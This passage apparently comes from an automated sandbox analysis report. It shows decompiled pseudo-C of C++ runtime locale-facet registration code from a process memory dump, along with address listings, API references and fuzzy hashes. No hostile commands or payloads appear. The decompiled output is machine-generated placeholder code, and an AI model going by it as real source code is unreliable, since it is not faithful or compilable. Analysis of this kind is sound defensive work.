															_push( &_v16);
															__eflags = E0048E1ED(_t660, _t679, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t660, _t679);
																E00488DEA( &_v20, 0);
																_t680 =  *0x4ede20; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t680;
																_t661 = E0042B315(_a8, E0042B22E(0x4eddc4, _t660, _t680, __eflags));
																__eflags = _t661;
																if(_t661 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t661);
																} else {
																	__eflags = _t680;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E255(_t661, _t680, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t661, _t680);
																			E00488DEA( &_v20, 0);
																			_t681 =  *0x4ede1c; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t681;
																			_t662 = E0042B315(_a8, E0042B22E(0x4eddc0, _t661, _t681, __eflags));
																			__eflags = _t662;
																			if(_t662 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t662);
																			} else {
																				__eflags = _t681;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E2D9(_t662, _t681, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t662, _t681);
																						E00488DEA( &_v20, 0);
																						_t682 =  *0x4eddf0; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t682;
																						_t663 = E0042B315(_a8, E0042B22E(0x4edd9c, _t662, _t682, __eflags));
																						__eflags = _t663;
																						if(_t663 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t663);
																						} else {
																							__eflags = _t682;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E35E(_t663, _t682, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t663, _t682);
																									E00488DEA( &_v20, 0);
																									_t683 =  *0x4eddec; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t683;
																									_t664 = E0042B315(_a8, E0042B22E(0x4edd98, _t663, _t683, __eflags));
																									__eflags = _t664;
																									if(_t664 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t664);
																									} else {
																										__eflags = _t683;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E3E2(_t664, _t683, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t664, _t683);
																												E00488DEA( &_v20, 0);
																												_t684 =  *0x4ede00; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t684;
																												_t665 = E0042B315(_a8, E0042B22E(0x4edda4, _t664, _t684, __eflags));
																												__eflags = _t665;
																												if(_t665 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t665);
																												} else {
																													__eflags = _t684;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E467(_t665, _t684, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t665, _t684);
																															E00488DEA( &_v20, 0);
																															_t685 =  *0x4eddd0; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t685;
																															_t666 = E0042B315(_a8, E0042B22E(0x4edd7c, _t665, _t685, __eflags));
																															__eflags = _t666;
																															if(_t666 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t666);
																															} else {
																																__eflags = _t685;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E4CF(_t666, _t685, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t666, _t685);
																																		E00488DEA( &_v20, 0);
																																		_t686 =  *0x4ede04; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t686;
																																		_t667 = E0042B315(_a8, E0042B22E(0x4edda8, _t666, _t686, __eflags));
																																		__eflags = _t667;
																																		if(_t667 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t667);
																																		} else {
																																			__eflags = _t686;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E537(_t667, _t686, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t667, _t686);
																																					E00488DEA( &_v20, 0);
																																					_t687 =  *0x4eddd4; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t687;
																																					_t668 = E0042B315(_a8, E0042B22E(0x4edd80, _t667, _t687, __eflags));
																																					__eflags = _t668;
																																					if(_t668 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t668);
																																					} else {
																																						__eflags = _t687;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E59F(_t668, _t687, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t668, _t687);
																																								E00488DEA( &_v20, 0);
																																								_t688 =  *0x4ede08; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t688;
																																								_t669 = E0042B315(_a8, E0042B22E(0x4eddac, _t668, _t688, __eflags));
																																								__eflags = _t669;
																																								if(_t669 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t669);
																																								} else {
																																									__eflags = _t688;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E607(_t669, _t688, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t669, _t688);
																																											E00488DEA( &_v20, 0);
																																											_t689 =  *0x4eddd8; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t689;
																																											_t670 = E0042B315(_a8, E0042B22E(0x4edd84, _t669, _t689, __eflags));
																																											__eflags = _t670;
																																											if(_t670 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t670);
																																											} else {
																																												__eflags = _t689;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E682(_t670, _t689, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t670, _t689);
																																														E00488DEA( &_v20, 0);
																																														_t690 =  *0x4ede24; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t690;
																																														_t671 = E0042B315(_a8, E0042B22E(0x4eddc8, _t670, _t690, __eflags));
																																														__eflags = _t671;
																																														if(_t671 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t671);
																																														} else {
																																															__eflags = _t690;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E6FD(_t671, _t690, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t671, _t690);
																																																	E00488DEA( &_v20, 0);
																																																	_t691 =  *0x4eddf4; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t691;
																																																	_t672 = E0042B315(_a8, E0042B22E(0x4edda0, _t671, _t691, __eflags));
																																																	__eflags = _t672;
																																																	if(_t672 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t672);
																																																	} else {
																																																		__eflags = _t691;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E769(_t672, _t691, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t672, _t691);
																																																				E00488DEA( &_v20, 0);
																																																				_t692 =  *0x4ede28; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t692;
																																																				_t673 = E0042B315(_a8, E0042B22E(0x4eddcc, _t672, _t692, __eflags));
																																																				__eflags = _t673;
																																																				if(_t673 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t673);
																																																				} else {
																																																					__eflags = _t692;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E7D5(_t673, _t692, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							E0049D90B(0x4d6966, _t673, _t692);
																																																							E00488DEA( &_v20, 0);
																																																							_t693 =  *0x4eddf8; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t693;
																																																							_t674 = E0042B315(_a8, E0042B22E(0x4edd78, _t673, _t693, __eflags));
																																																							__eflags = _t674;
																																																							if(_t674 != 0) {
																																																								L124:
																																																								E00488E42( &_v20);
																																																								return E0049D8D4(_t674);
																																																							} else {
																																																								__eflags = _t693;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									_t417 = E0048E849(_t674, _t693, __eflags);
																																																									_pop(_t601);
																																																									__eflags = _t417 - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(_t693);
																																																										_t694 = _t601;
																																																										_t218 = _t694 + 0x10;
																																																										 *_t218 =  *(_t694 + 0x10) & 0x00000000;
																																																										__eflags =  *_t218;
																																																										 *((intOrPtr*)(_t694 + 0x14)) = 7;
																																																										 *_t694 = 0;
																																																										E00494BE0( *((intOrPtr*)(_t717 + 8)));
																																																										return _t694;
																																																									} else {
																																																										_t674 = _v16;
																																																										_v16 = _t674;
																																																										_v4 = 1;
																																																										E0048919D(_t674);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t674 + 4))))();
																																																										 *0x4eddf8 = _t674;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t674 = _t693;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t673 = _v16;
																																																							_v16 = _t673;
																																																							_v4 = 1;
																																																							E0048919D(_t673);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t673 + 4))))();
																																																							 *0x4ede28 = _t673;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t673 = _t692;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t672 = _v16;
																																																				_v16 = _t672;
																																																				_v4 = 1;
																																																				E0048919D(_t672);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t672 + 4))))();
																																																				 *0x4eddf4 = _t672;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t672 = _t691;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t671 = _v16;
																																																	_v16 = _t671;
																																																	_v4 = 1;
																																																	E0048919D(_t671);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t671 + 4))))();
																																																	 *0x4ede24 = _t671;
																																																	goto L103;
																																																}
																																															} else {
																																																_t671 = _t690;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t670 = _v16;
																																														_v16 = _t670;
																																														_v4 = 1;
																																														E0048919D(_t670);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t670 + 4))))();
																																														 *0x4eddd8 = _t670;
																																														goto L96;
																																													}
																																												} else {
																																													_t670 = _t689;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t669 = _v16;
																																											_v16 = _t669;
																																											_v4 = 1;
																																											E0048919D(_t669);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t669 + 4))))();
																																											 *0x4ede08 = _t669;
																																											goto L89;
																																										}
																																									} else {
																																										_t669 = _t688;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t668 = _v16;
																																								_v16 = _t668;
																																								_v4 = 1;
																																								E0048919D(_t668);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t668 + 4))))();
																																								 *0x4eddd4 = _t668;
																																								goto L82;
																																							}
																																						} else {
																																							_t668 = _t687;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t667 = _v16;
																																					_v16 = _t667;
																																					_v4 = 1;
																																					E0048919D(_t667);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t667 + 4))))();
																																					 *0x4ede04 = _t667;
																																					goto L75;
																																				}
																																			} else {
																																				_t667 = _t686;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t666 = _v16;
																																		_v16 = _t666;
																																		_v4 = 1;
																																		E0048919D(_t666);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t666 + 4))))();
																																		 *0x4eddd0 = _t666;
																																		goto L68;
																																	}
																																} else {
																																	_t666 = _t685;
																																	goto L68;
																																}
																															}
																														} else {
																															_t665 = _v16;
																															_v16 = _t665;
																															_v4 = 1;
																															E0048919D(_t665);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t665 + 4))))();
																															 *0x4ede00 = _t665;
																															goto L61;
																														}
																													} else {
																														_t665 = _t684;
																														goto L61;
																													}
																												}
																											} else {
																												_t664 = _v16;
																												_v16 = _t664;
																												_v4 = 1;
																												E0048919D(_t664);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t664 + 4))))();
																												 *0x4eddec = _t664;
																												goto L54;
																											}
																										} else {
																											_t664 = _t683;
																											goto L54;
																										}
																									}
																								} else {
																									_t663 = _v16;
																									_v16 = _t663;
																									_v4 = 1;
																									E0048919D(_t663);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t663 + 4))))();
																									 *0x4eddf0 = _t663;
																									goto L47;
																								}
																							} else {
																								_t663 = _t682;
																								goto L47;
																							}
																						}
																					} else {
																						_t662 = _v16;
																						_v16 = _t662;
																						_v4 = 1;
																						E0048919D(_t662);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t662 + 4))))();
																						 *0x4ede1c = _t662;
																						goto L40;
																					}
																				} else {
																					_t662 = _t681;
																					goto L40;
																				}
																			}
																		} else {
																			_t661 = _v16;
																			_v16 = _t661;
																			_v4 = 1;
																			E0048919D(_t661);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t661 + 4))))();
																			 *0x4ede20 = _t661;
																			goto L33;
																		}
																	} else {
																		_t661 = _t680;
																		goto L33;
																	}
																}
															} else {
																_t660 = _v16;
																_v16 = _t660;
																_v4 = 1;
																E0048919D(_t660);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t660 + 4))))();
																 *0x4edde8 = _t660;
																goto L26;
															}
														} else {
															_t660 = _t679;
															goto L26;
														}
													}
												} else {
													_t659 = _v16;
													_v16 = _t659;
													_v4 = 1;
													E0048919D(_t659);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t659 + 4))))();
													 *0x4ede18 = _t659;
													goto L19;
												}
											} else {
												_t659 = _t678;
												goto L19;
											}
										}
									} else {
										_t658 = _v16;
										_v16 = _t658;
										_v4 = 1;
										E0048919D(_t658);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t658 + 4))))();
										 *0x4edde4 = _t658;
										goto L12;
									}
								} else {
									_t658 = _t677;
									goto L12;
								}
							}
						} else {
							_t657 = _v16;
							_v16 = _t657;
							_v4 = 1;
							E0048919D(_t657);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t657 + 4))))();
							 *0x4ede14 = _t657;
							goto L5;
						}
					} else {
						_t657 = _t676;
						goto L5;
					}
				}
			}

0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c617
0x0048c61c
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624

APIs

__EH_prolog3.LIBCMT ref: 0048C5ED
std::_Lockit::_Lockit.LIBCPMT ref: 0048C5F7

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C648
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C668
Concurrency::cancel_current_task.LIBCPMT ref: 0048C675

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: b9119180e79beb665a03a3fc378a288d6d2900f69ef4ec72af5fc5e92b0b1f49
Instruction ID: aef4afcf62bf41a94b05ecd4f02ab16faa9e11d6d49223e49f447fbe2a6d1aae
Opcode Fuzzy Hash: b9119180e79beb665a03a3fc378a288d6d2900f69ef4ec72af5fc5e92b0b1f49
Instruction Fuzzy Hash: 97010031E002258BCB01FB65D85AABE77B1AF84318F14085FF410AB382DF7C9E0187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0049965E, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0049965E() {
				signed int _t83;
				void* _t143;
				signed int _t210;
				void* _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				void* _t236;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				void* _t250;
				void* _t251;

				_push(8);
				E0049D90B(0x4d6966, _t229, _t236);
				E00488DEA(_t250 - 0x14, 0);
				_t237 =  *0x4ede58; // 0x0
				 *(_t250 - 4) =  *(_t250 - 4) & 0x00000000;
				 *(_t250 - 0x10) = _t237;
				_t83 = E0042B315( *((intOrPtr*)(_t250 + 8)), E0042B22E(0x4ede38, _t229, _t237, _t251));
				_t230 = _t83;
				if(_t83 != 0) {
					L5:
					E00488E42(_t250 - 0x14);
					return E0049D8D4(_t230);
				} else {
					if(_t237 == 0) {
						_push( *((intOrPtr*)(_t250 + 8)));
						_push(_t250 - 0x10);
						__eflags = E00499BED(_t230, _t237, __eflags) - 0xffffffff;
						if(__eflags == 0) {
